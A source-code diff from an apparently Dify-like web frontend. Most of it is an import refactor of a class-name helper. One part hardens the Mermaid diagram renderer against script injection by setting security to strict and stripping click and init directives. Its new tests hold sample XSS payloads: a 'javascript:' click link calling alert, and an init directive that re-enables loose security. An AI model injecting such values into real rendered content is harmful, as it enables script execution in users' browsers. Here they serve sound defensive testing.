@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { LabelProps } from '../label'
 import { useFieldContext } from '../..'
 import Label from '../label'
diff --git a/web/app/components/base/form/components/field/variable-or-constant-input.tsx b/web/app/components/base/form/components/field/variable-or-constant-input.tsx
index b8a96c5401..78a1bb0c8e 100644
--- a/web/app/components/base/form/components/field/variable-or-constant-input.tsx
+++ b/web/app/components/base/form/components/field/variable-or-constant-input.tsx
@@ -1,7 +1,7 @@
 import type { ChangeEvent } from 'react'
 import { useCallback, useState } from 'react'
 import { RiEditLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import SegmentedControl from '@/app/components/base/segmented-control'
 import { VariableX } from '@/app/components/base/icons/src/vender/workflow'
 import Input from '@/app/components/base/input'
diff --git a/web/app/components/base/form/components/field/variable-selector.tsx b/web/app/components/base/form/components/field/variable-selector.tsx
index 3c4042b118..c945eb93c6 100644
--- a/web/app/components/base/form/components/field/variable-selector.tsx
+++ b/web/app/components/base/form/components/field/variable-selector.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import VarReferencePicker from '@/app/components/workflow/nodes/_base/components/variable/var-reference-picker'
 import type { LabelProps } from '../label'
 import Label from '../label'
diff --git a/web/app/components/base/form/components/label.spec.tsx b/web/app/components/base/form/components/label.spec.tsx
index b2dc98a21e..12ab9e335b 100644
--- a/web/app/components/base/form/components/label.spec.tsx
+++ b/web/app/components/base/form/components/label.spec.tsx
@@ -1,12 +1,6 @@
 import { fireEvent, render, screen } from '@testing-library/react'
 import Label from './label'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('Label Component', () => {
   const defaultProps = {
     htmlFor: 'test-input',
diff --git a/web/app/components/base/form/components/label.tsx b/web/app/components/base/form/components/label.tsx
index 4b104c9dc6..47b74d28e0 100644
--- a/web/app/components/base/form/components/label.tsx
+++ b/web/app/components/base/form/components/label.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '../../tooltip'
 import { useTranslation } from 'react-i18next'
 
diff --git a/web/app/components/base/fullscreen-modal/index.tsx b/web/app/components/base/fullscreen-modal/index.tsx
index ba96ae13bd..b6a1ee8a32 100644
--- a/web/app/components/base/fullscreen-modal/index.tsx
+++ b/web/app/components/base/fullscreen-modal/index.tsx
@@ -1,6 +1,6 @@
 import { Dialog, DialogPanel, Transition, TransitionChild } from '@headlessui/react'
 import { RiCloseLargeLine } from '@remixicon/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 type IModal = {
@@ -26,14 +26,12 @@ export default function FullScreenModal({
 }: IModal) {
   return (
     <Transition show={open} appear>
-      <Dialog as="div" className={classNames('modal-dialog', wrapperClassName)} onClose={onClose}>
+      <Dialog as="div" className={cn('modal-dialog', wrapperClassName)} onClose={onClose}>
         <TransitionChild>
-          <div className={classNames(
-            'fixed inset-0 bg-background-overlay-backdrop backdrop-blur-[6px]',
+          <div className={cn('fixed inset-0 bg-background-overlay-backdrop backdrop-blur-[6px]',
             'duration-300 ease-in data-[closed]:opacity-0',
             'data-[enter]:opacity-100',
-            'data-[leave]:opacity-0',
-          )} />
+            'data-[leave]:opacity-0')} />
         </TransitionChild>
 
         <div
@@ -45,14 +43,12 @@ export default function FullScreenModal({
         >
           <div className="relative h-full w-full rounded-2xl border border-effects-highlight bg-background-default-subtle">
             <TransitionChild>
-              <DialogPanel className={classNames(
-                'h-full',
+              <DialogPanel className={cn('h-full',
                 overflowVisible ? 'overflow-visible' : 'overflow-hidden',
                 'duration-100 ease-in data-[closed]:scale-95 data-[closed]:opacity-0',
                 'data-[enter]:scale-100 data-[enter]:opacity-100',
                 'data-[enter]:scale-95 data-[leave]:opacity-0',
-                className,
-              )}>
+                className)}>
                 {closable
                   && <div
                     className='absolute right-3 top-3 z-50 flex h-9 w-9 cursor-pointer items-center justify-center
diff --git a/web/app/components/base/grid-mask/index.tsx b/web/app/components/base/grid-mask/index.tsx
index 9f5cb50e14..455b155939 100644
--- a/web/app/components/base/grid-mask/index.tsx
+++ b/web/app/components/base/grid-mask/index.tsx
@@ -1,6 +1,6 @@
 import type { FC } from 'react'
 import Style from './style.module.css'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type GridMaskProps = {
   children: React.ReactNode
@@ -15,9 +15,9 @@ const GridMask: FC<GridMaskProps> = ({
   gradientClassName,
 }) => {
   return (
-    <div className={classNames('relative bg-saas-background', wrapperClassName)}>
-      <div className={classNames('absolute inset-0 z-0 h-full w-full opacity-70', canvasClassName, Style.gridBg)} />
-      <div className={classNames('absolute z-[1] h-full w-full rounded-lg bg-grid-mask-background', gradientClassName)} />
+    <div className={cn('relative bg-saas-background', wrapperClassName)}>
+      <div className={cn('absolute inset-0 z-0 h-full w-full opacity-70', canvasClassName, Style.gridBg)} />
+      <div className={cn('absolute z-[1] h-full w-full rounded-lg bg-grid-mask-background', gradientClassName)} />
       <div className='relative z-[2]'>{children}</div>
     </div>
   )
diff --git a/web/app/components/base/icons/script.mjs b/web/app/components/base/icons/script.mjs
index 764bbf1987..f2bf43d930 100644
--- a/web/app/components/base/icons/script.mjs
+++ b/web/app/components/base/icons/script.mjs
@@ -113,7 +113,7 @@ const generateImageComponent = async (entry, pathList) => {
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './<%= fileName %>.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/BaichuanTextCn.tsx b/web/app/components/base/icons/src/image/llm/BaichuanTextCn.tsx
index be9a407eb2..7c2f24b6b7 100644
--- a/web/app/components/base/icons/src/image/llm/BaichuanTextCn.tsx
+++ b/web/app/components/base/icons/src/image/llm/BaichuanTextCn.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './BaichuanTextCn.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/Minimax.tsx b/web/app/components/base/icons/src/image/llm/Minimax.tsx
index 7df7e3fcbc..9a4f81e374 100644
--- a/web/app/components/base/icons/src/image/llm/Minimax.tsx
+++ b/web/app/components/base/icons/src/image/llm/Minimax.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './Minimax.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/MinimaxText.tsx b/web/app/components/base/icons/src/image/llm/MinimaxText.tsx
index 840e8cb439..a11210a9c0 100644
--- a/web/app/components/base/icons/src/image/llm/MinimaxText.tsx
+++ b/web/app/components/base/icons/src/image/llm/MinimaxText.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './MinimaxText.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/Tongyi.tsx b/web/app/components/base/icons/src/image/llm/Tongyi.tsx
index 2f62f1a355..966a99e041 100644
--- a/web/app/components/base/icons/src/image/llm/Tongyi.tsx
+++ b/web/app/components/base/icons/src/image/llm/Tongyi.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './Tongyi.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/TongyiText.tsx b/web/app/components/base/icons/src/image/llm/TongyiText.tsx
index a52f63c248..e82fcc6361 100644
--- a/web/app/components/base/icons/src/image/llm/TongyiText.tsx
+++ b/web/app/components/base/icons/src/image/llm/TongyiText.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './TongyiText.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/TongyiTextCn.tsx b/web/app/components/base/icons/src/image/llm/TongyiTextCn.tsx
index c982c73aed..8fb41b60d1 100644
--- a/web/app/components/base/icons/src/image/llm/TongyiTextCn.tsx
+++ b/web/app/components/base/icons/src/image/llm/TongyiTextCn.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './TongyiTextCn.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/Wxyy.tsx b/web/app/components/base/icons/src/image/llm/Wxyy.tsx
index a3c494811e..988c289215 100644
--- a/web/app/components/base/icons/src/image/llm/Wxyy.tsx
+++ b/web/app/components/base/icons/src/image/llm/Wxyy.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './Wxyy.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/WxyyText.tsx b/web/app/components/base/icons/src/image/llm/WxyyText.tsx
index e5dd6e8803..87402fd856 100644
--- a/web/app/components/base/icons/src/image/llm/WxyyText.tsx
+++ b/web/app/components/base/icons/src/image/llm/WxyyText.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './WxyyText.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/icons/src/image/llm/WxyyTextCn.tsx b/web/app/components/base/icons/src/image/llm/WxyyTextCn.tsx
index 32108adab4..f7d6464c13 100644
--- a/web/app/components/base/icons/src/image/llm/WxyyTextCn.tsx
+++ b/web/app/components/base/icons/src/image/llm/WxyyTextCn.tsx
@@ -2,7 +2,7 @@
 // DON NOT EDIT IT MANUALLY
 
 import * as React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import s from './WxyyTextCn.module.css'
 
 const Icon = (
diff --git a/web/app/components/base/image-gallery/index.tsx b/web/app/components/base/image-gallery/index.tsx
index fdb9711292..6bef84a724 100644
--- a/web/app/components/base/image-gallery/index.tsx
+++ b/web/app/components/base/image-gallery/index.tsx
@@ -1,6 +1,6 @@
 'use client'
 import ImagePreview from '@/app/components/base/image-uploader/image-preview'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FC } from 'react'
 import React, { useState } from 'react'
 import s from './style.module.css'
diff --git a/web/app/components/base/image-uploader/chat-image-uploader.tsx b/web/app/components/base/image-uploader/chat-image-uploader.tsx
index bc563b80e3..6e2503dfbe 100644
--- a/web/app/components/base/image-uploader/chat-image-uploader.tsx
+++ b/web/app/components/base/image-uploader/chat-image-uploader.tsx
@@ -3,7 +3,7 @@ import { useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import Uploader from './uploader'
 import ImageLinkInput from './image-link-input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ImagePlus } from '@/app/components/base/icons/src/vender/line/images'
 import { TransferMethod } from '@/types/app'
 import {
diff --git a/web/app/components/base/image-uploader/image-list.tsx b/web/app/components/base/image-uploader/image-list.tsx
index 3b5f6dee9c..fe88bdc68f 100644
--- a/web/app/components/base/image-uploader/image-list.tsx
+++ b/web/app/components/base/image-uploader/image-list.tsx
@@ -5,7 +5,7 @@ import {
   RiCloseLine,
   RiLoader2Line,
 } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RefreshCcw01 } from '@/app/components/base/icons/src/vender/line/arrows'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
 import Tooltip from '@/app/components/base/tooltip'
diff --git a/web/app/components/base/inline-delete-confirm/index.tsx b/web/app/components/base/inline-delete-confirm/index.tsx
index eb671609cf..22942a179a 100644
--- a/web/app/components/base/inline-delete-confirm/index.tsx
+++ b/web/app/components/base/inline-delete-confirm/index.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import { useTranslation } from 'react-i18next'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type InlineDeleteConfirmProps = {
   title?: string
diff --git a/web/app/components/base/input-number/index.spec.tsx b/web/app/components/base/input-number/index.spec.tsx
index 75d19ecb6e..28db10e86c 100644
--- a/web/app/components/base/input-number/index.spec.tsx
+++ b/web/app/components/base/input-number/index.spec.tsx
@@ -1,12 +1,6 @@
 import { fireEvent, render, screen } from '@testing-library/react'
 import { InputNumber } from './index'
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 describe('InputNumber Component', () => {
   const defaultProps = {
     onChange: jest.fn(),
diff --git a/web/app/components/base/input-number/index.tsx b/web/app/components/base/input-number/index.tsx
index a5a171a9fc..5726bb8bbd 100644
--- a/web/app/components/base/input-number/index.tsx
+++ b/web/app/components/base/input-number/index.tsx
@@ -1,7 +1,7 @@
 import { type FC, useCallback } from 'react'
 import { RiArrowDownSLine, RiArrowUpSLine } from '@remixicon/react'
 import Input, { type InputProps } from '../input'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type InputNumberProps = {
   unit?: string
@@ -81,11 +81,11 @@ export const InputNumber: FC<InputNumberProps> = (props) => {
     onChange(parsed)
   }, [isValidValue, onChange])
 
-  return <div className={classNames('flex', wrapClassName)}>
+  return <div className={cn('flex', wrapClassName)}>
     <Input {...rest}
       // disable default controller
       type='number'
-      className={classNames('no-spinner rounded-r-none', className)}
+      className={cn('no-spinner rounded-r-none', className)}
       value={value ?? 0}
       max={max}
       min={min}
@@ -94,8 +94,7 @@ export const InputNumber: FC<InputNumberProps> = (props) => {
       unit={unit}
       size={size}
     />
-    <div className={classNames(
-      'flex flex-col rounded-r-md border-l border-divider-subtle bg-components-input-bg-normal text-text-tertiary focus:shadow-xs',
+    <div className={cn('flex flex-col rounded-r-md border-l border-divider-subtle bg-components-input-bg-normal text-text-tertiary focus:shadow-xs',
       disabled && 'cursor-not-allowed opacity-50',
       controlWrapClassName)}
     >
@@ -104,12 +103,10 @@ export const InputNumber: FC<InputNumberProps> = (props) => {
         onClick={inc}
         disabled={disabled}
         aria-label='increment'
-        className={classNames(
-          size === 'regular' ? 'pt-1' : 'pt-1.5',
+        className={cn(size === 'regular' ? 'pt-1' : 'pt-1.5',
           'px-1.5 hover:bg-components-input-bg-hover',
           disabled && 'cursor-not-allowed hover:bg-transparent',
-          controlClassName,
-        )}
+          controlClassName)}
       >
         <RiArrowUpSLine className='size-3' />
       </button>
@@ -118,12 +115,10 @@ export const InputNumber: FC<InputNumberProps> = (props) => {
         onClick={dec}
         disabled={disabled}
         aria-label='decrement'
-        className={classNames(
-          size === 'regular' ? 'pb-1' : 'pb-1.5',
+        className={cn(size === 'regular' ? 'pb-1' : 'pb-1.5',
           'px-1.5 hover:bg-components-input-bg-hover',
           disabled && 'cursor-not-allowed hover:bg-transparent',
-          controlClassName,
-        )}
+          controlClassName)}
       >
         <RiArrowDownSLine className='size-3' />
       </button>
diff --git a/web/app/components/base/input-with-copy/index.tsx b/web/app/components/base/input-with-copy/index.tsx
index 87b7de5005..6c0c7e45aa 100644
--- a/web/app/components/base/input-with-copy/index.tsx
+++ b/web/app/components/base/input-with-copy/index.tsx
@@ -7,7 +7,7 @@ import copy from 'copy-to-clipboard'
 import type { InputProps } from '../input'
 import Tooltip from '../tooltip'
 import ActionButton from '../action-button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type InputWithCopyProps = {
   showCopyButton?: boolean
diff --git a/web/app/components/base/input/index.tsx b/web/app/components/base/input/index.tsx
index 60f80d560b..8171b6f9b8 100644
--- a/web/app/components/base/input/index.tsx
+++ b/web/app/components/base/input/index.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiCloseCircleFill, RiErrorWarningLine, RiSearchLine } from '@remixicon/react'
 import { type VariantProps, cva } from 'class-variance-authority'
 import { noop } from 'lodash-es'
diff --git a/web/app/components/base/linked-apps-panel/index.tsx b/web/app/components/base/linked-apps-panel/index.tsx
index 561bd49c2a..7fa8d9c1e9 100644
--- a/web/app/components/base/linked-apps-panel/index.tsx
+++ b/web/app/components/base/linked-apps-panel/index.tsx
@@ -3,7 +3,7 @@ import type { FC } from 'react'
 import React from 'react'
 import Link from 'next/link'
 import { RiArrowRightUpLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import AppIcon from '@/app/components/base/app-icon'
 import type { RelatedApp } from '@/models/datasets'
 import { AppModeEnum } from '@/types/app'
diff --git a/web/app/components/base/logo/dify-logo.tsx b/web/app/components/base/logo/dify-logo.tsx
index 5369144e1c..765d0fedf7 100644
--- a/web/app/components/base/logo/dify-logo.tsx
+++ b/web/app/components/base/logo/dify-logo.tsx
@@ -1,6 +1,6 @@
 'use client'
 import type { FC } from 'react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import useTheme from '@/hooks/use-theme'
 import { basePath } from '@/utils/var'
 export type LogoStyle = 'default' | 'monochromeWhite'
@@ -35,7 +35,7 @@ const DifyLogo: FC<DifyLogoProps> = ({
   return (
     <img
       src={`${basePath}${logoPathMap[themedStyle]}`}
-      className={classNames('block object-contain', logoSizeMap[size], className)}
+      className={cn('block object-contain', logoSizeMap[size], className)}
       alt='Dify logo'
     />
   )
diff --git a/web/app/components/base/logo/logo-embedded-chat-header.tsx b/web/app/components/base/logo/logo-embedded-chat-header.tsx
index 38451abc5e..a580ad944f 100644
--- a/web/app/components/base/logo/logo-embedded-chat-header.tsx
+++ b/web/app/components/base/logo/logo-embedded-chat-header.tsx
@@ -1,4 +1,4 @@
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { FC } from 'react'
 import { basePath } from '@/utils/var'
 
@@ -16,7 +16,7 @@ const LogoEmbeddedChatHeader: FC<LogoEmbeddedChatHeaderProps> = ({
     <img
       src={`${basePath}/logo/logo-embedded-chat-header.png`}
       alt='logo'
-      className={classNames('block h-6 w-auto', className)}
+      className={cn('block h-6 w-auto', className)}
     />
   </picture>
 }
diff --git a/web/app/components/base/logo/logo-site.tsx b/web/app/components/base/logo/logo-site.tsx
index fd606ee8c3..3795a072c8 100644
--- a/web/app/components/base/logo/logo-site.tsx
+++ b/web/app/components/base/logo/logo-site.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import { basePath } from '@/utils/var'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type LogoSiteProps = {
   className?: string
@@ -13,7 +13,7 @@ const LogoSite: FC<LogoSiteProps> = ({
   return (
     <img
       src={`${basePath}/logo/logo.png`}
-      className={classNames('block h-[24.5px] w-[22.651px]', className)}
+      className={cn('block h-[24.5px] w-[22.651px]', className)}
       alt='logo'
     />
   )
diff --git a/web/app/components/base/markdown-blocks/button.tsx b/web/app/components/base/markdown-blocks/button.tsx
index 315653bcd0..1036315842 100644
--- a/web/app/components/base/markdown-blocks/button.tsx
+++ b/web/app/components/base/markdown-blocks/button.tsx
@@ -1,6 +1,6 @@
 import { useChatContext } from '@/app/components/base/chat/chat/context'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { isValidUrl } from './utils'
 const MarkdownButton = ({ node }: any) => {
   const { onSend } = useChatContext()
diff --git a/web/app/components/base/markdown-blocks/think-block.tsx b/web/app/components/base/markdown-blocks/think-block.tsx
index 9c43578e4c..b345612ebc 100644
--- a/web/app/components/base/markdown-blocks/think-block.tsx
+++ b/web/app/components/base/markdown-blocks/think-block.tsx
@@ -1,7 +1,7 @@
 import React, { useEffect, useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useChatContext } from '../chat/chat/context'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const hasEndThink = (children: any): boolean => {
   if (typeof children === 'string')
diff --git a/web/app/components/base/markdown/index.tsx b/web/app/components/base/markdown/index.tsx
index bb49fe1b14..2c881dc2eb 100644
--- a/web/app/components/base/markdown/index.tsx
+++ b/web/app/components/base/markdown/index.tsx
@@ -1,7 +1,7 @@
 import dynamic from 'next/dynamic'
 import 'katex/dist/katex.min.css'
 import { flow } from 'lodash-es'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { preprocessLaTeX, preprocessThinkTag } from './markdown-utils'
 import type { ReactMarkdownWrapperProps, SimplePluginInfo } from './react-markdown-wrapper'
 
diff --git a/web/app/components/base/mermaid/index.tsx b/web/app/components/base/mermaid/index.tsx
index bf35c8c94c..73709bdc8e 100644
--- a/web/app/components/base/mermaid/index.tsx
+++ b/web/app/components/base/mermaid/index.tsx
@@ -8,11 +8,12 @@ import {
   isMermaidCodeComplete,
   prepareMermaidCode,
   processSvgForTheme,
+  sanitizeMermaidCode,
   svgToBase64,
   waitForDOMElement,
 } from './utils'
 import LoadingAnim from '@/app/components/base/chat/chat/loading-anim'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import ImagePreview from '@/app/components/base/image-uploader/image-preview'
 import { Theme } from '@/types/app'
 
@@ -71,7 +72,7 @@ const initMermaid = () => {
       const config: MermaidConfig = {
         startOnLoad: false,
         fontFamily: 'sans-serif',
-        securityLevel: 'loose',
+        securityLevel: 'strict',
         flowchart: {
           htmlLabels: true,
           useMaxWidth: true,
@@ -267,6 +268,8 @@ const Flowchart = (props: FlowchartProps) => {
         finalCode = prepareMermaidCode(primitiveCode, look)
       }
 
+      finalCode = sanitizeMermaidCode(finalCode)
+
       // Step 2: Render chart
       const svgGraph = await renderMermaidChart(finalCode, look)
 
@@ -297,9 +300,9 @@ const Flowchart = (props: FlowchartProps) => {
   const configureMermaid = useCallback((primitiveCode: string) => {
     if (typeof window !== 'undefined' && isInitialized) {
       const themeVars = THEMES[currentTheme]
-      const config: any = {
+      const config: MermaidConfig = {
         startOnLoad: false,
-        securityLevel: 'loose',
+        securityLevel: 'strict',
         fontFamily: 'sans-serif',
         maxTextSize: 50000,
         gantt: {
@@ -325,7 +328,8 @@ const Flowchart = (props: FlowchartProps) => {
         config.theme = currentTheme === 'dark' ? 'dark' : 'neutral'
 
         if (isFlowchart) {
-          config.flowchart = {
+          type FlowchartConfigWithRanker = NonNullable<MermaidConfig['flowchart']> & { ranker?: string }
+          const flowchartConfig: FlowchartConfigWithRanker = {
             htmlLabels: true,
             useMaxWidth: true,
             nodeSpacing: 60,
@@ -333,6 +337,7 @@ const Flowchart = (props: FlowchartProps) => {
             curve: 'linear',
             ranker: 'tight-tree',
           }
+          config.flowchart = flowchartConfig as unknown as MermaidConfig['flowchart']
         }
 
         if (currentTheme === 'dark') {
@@ -531,7 +536,7 @@ const Flowchart = (props: FlowchartProps) => {
 
       {isLoading && !svgString && (
         <div className='px-[26px] py-4'>
-          <LoadingAnim type='text'/>
+          <LoadingAnim type='text' />
           <div className="mt-2 text-sm text-gray-500">
             {t('common.wait_for_completion', 'Waiting for diagram code to complete...')}
           </div>
@@ -564,7 +569,7 @@ const Flowchart = (props: FlowchartProps) => {
       {errMsg && (
         <div className={themeClasses.errorMessage}>
           <div className="flex items-center">
-            <ExclamationTriangleIcon className={themeClasses.errorIcon}/>
+            <ExclamationTriangleIcon className={themeClasses.errorIcon} />
             <span className="ml-2">{errMsg}</span>
           </div>
         </div>
diff --git a/web/app/components/base/mermaid/utils.spec.ts b/web/app/components/base/mermaid/utils.spec.ts
index 6ea7f17bfa..7a73aa1fc9 100644
--- a/web/app/components/base/mermaid/utils.spec.ts
+++ b/web/app/components/base/mermaid/utils.spec.ts
@@ -1,4 +1,4 @@
-import { cleanUpSvgCode } from './utils'
+import { cleanUpSvgCode, prepareMermaidCode, sanitizeMermaidCode } from './utils'
 
 describe('cleanUpSvgCode', () => {
   it('replaces old-style <br> tags with the new style', () => {
@@ -6,3 +6,54 @@ describe('cleanUpSvgCode', () => {
     expect(result).toEqual('<br/>test<br/>')
   })
 })
+
+describe('sanitizeMermaidCode', () => {
+  it('removes click directives to prevent link/callback injection', () => {
+    const unsafeProtocol = ['java', 'script:'].join('')
+    const input = [
+      'gantt',
+      'title Demo',
+      'section S1',
+      'Task 1 :a1, 2020-01-01, 1d',
+      `click A href "${unsafeProtocol}alert(location.href)"`,
+      'click B call callback()',
+    ].join('\n')
+
+    const result = sanitizeMermaidCode(input)
+
+    expect(result).toContain('gantt')
+    expect(result).toContain('Task 1')
+    expect(result).not.toContain('click A')
+    expect(result).not.toContain('click B')
+    expect(result).not.toContain(unsafeProtocol)
+  })
+
+  it('removes Mermaid init directives to prevent config overrides', () => {
+    const input = [
+      '%%{init: {"securityLevel":"loose"}}%%',
+      'graph TD',
+      'A-->B',
+    ].join('\n')
+
+    const result = sanitizeMermaidCode(input)
+
+    expect(result).toEqual(['graph TD', 'A-->B'].join('\n'))
+  })
+})
+
+describe('prepareMermaidCode', () => {
+  it('sanitizes click directives in flowcharts', () => {
+    const unsafeProtocol = ['java', 'script:'].join('')
+    const input = [
+      'graph TD',
+      'A[Click]-->B',
+      `click A href "${unsafeProtocol}alert(1)"`,
+    ].join('\n')
+
+    const result = prepareMermaidCode(input, 'classic')
+
+    expect(result).toContain('graph TD')
+    expect(result).not.toContain('click ')
+    expect(result).not.toContain(unsafeProtocol)
+  })
+})
diff --git a/web/app/components/base/mermaid/utils.ts b/web/app/components/base/mermaid/utils.ts
index 7e59869de1..e4abed3e44 100644
--- a/web/app/components/base/mermaid/utils.ts
+++ b/web/app/components/base/mermaid/utils.ts
@@ -2,6 +2,28 @@ export function cleanUpSvgCode(svgCode: string): string {
   return svgCode.replaceAll('<br>', '<br/>')
 }
 
+export const sanitizeMermaidCode = (mermaidCode: string): string => {
+  if (!mermaidCode || typeof mermaidCode !== 'string')
+    return ''
+
+  return mermaidCode
+    .split('\n')
+    .filter((line) => {
+      const trimmed = line.trimStart()
+
+      // Mermaid directives can override config; treat as untrusted in chat context.
+      if (trimmed.startsWith('%%{'))
+        return false
+
+      // Mermaid click directives can create JS callbacks/links inside rendered SVG.
+      if (trimmed.startsWith('click '))
+        return false
+
+      return true
+    })
+    .join('\n')
+}
+
 /**
  * Prepares mermaid code for rendering by sanitizing common syntax issues.
  * @param {string} mermaidCode - The mermaid code to prepare
@@ -12,10 +34,7 @@ export const prepareMermaidCode = (mermaidCode: string, style: 'classic' | 'hand
   if (!mermaidCode || typeof mermaidCode !== 'string')
     return ''
 
-  let code = mermaidCode.trim()
-
-  // Security: Sanitize against javascript: protocol in click events (XSS vector)
-  code = code.replace(/(\bclick\s+\w+\s+")javascript:[^"]*(")/g, '$1#$2')
+  let code = sanitizeMermaidCode(mermaidCode.trim())
 
   // Convenience: Basic BR replacement. This is a common and safe operation.
   code = code.replace(/<br\s*\/?>/g, '\n')
diff --git a/web/app/components/base/message-log-modal/index.tsx b/web/app/components/base/message-log-modal/index.tsx
index 12746f5982..d57a191953 100644
--- a/web/app/components/base/message-log-modal/index.tsx
+++ b/web/app/components/base/message-log-modal/index.tsx
@@ -3,7 +3,7 @@ import { useTranslation } from 'react-i18next'
 import { useEffect, useRef, useState } from 'react'
 import { useClickAway } from 'ahooks'
 import { RiCloseLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { IChatItem } from '@/app/components/base/chat/chat/type'
 import Run from '@/app/components/workflow/run'
 import { useStore } from '@/app/components/app/store'
diff --git a/web/app/components/base/modal-like-wrap/index.tsx b/web/app/components/base/modal-like-wrap/index.tsx
index cf18ef13cd..ecbcd503d1 100644
--- a/web/app/components/base/modal-like-wrap/index.tsx
+++ b/web/app/components/base/modal-like-wrap/index.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import Button from '../button'
 import { RiCloseLine } from '@remixicon/react'
diff --git a/web/app/components/base/modal/index.tsx b/web/app/components/base/modal/index.tsx
index f091717191..6ae1f299a0 100644
--- a/web/app/components/base/modal/index.tsx
+++ b/web/app/components/base/modal/index.tsx
@@ -1,7 +1,7 @@
 import { Dialog, DialogPanel, DialogTitle, Transition, TransitionChild } from '@headlessui/react'
 import { Fragment } from 'react'
 import { RiCloseLine } from '@remixicon/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 // https://headlessui.com/react/dialog
 
@@ -38,15 +38,13 @@ export default function Modal({
 }: IModal) {
   return (
     <Transition appear show={isShow} as={Fragment}>
-      <Dialog as="div" className={classNames('relative', highPriority ? 'z-[1100]' : 'z-[60]', wrapperClassName)} onClose={clickOutsideNotClose ? noop : onClose}>
+      <Dialog as="div" className={cn('relative', highPriority ? 'z-[1100]' : 'z-[60]', wrapperClassName)} onClose={clickOutsideNotClose ? noop : onClose}>
         <TransitionChild>
-          <div className={classNames(
-            'fixed inset-0',
+          <div className={cn('fixed inset-0',
             overlayOpacity ? 'bg-workflow-canvas-canvas-overlay' : 'bg-background-overlay',
             'duration-300 ease-in data-[closed]:opacity-0',
             'data-[enter]:opacity-100',
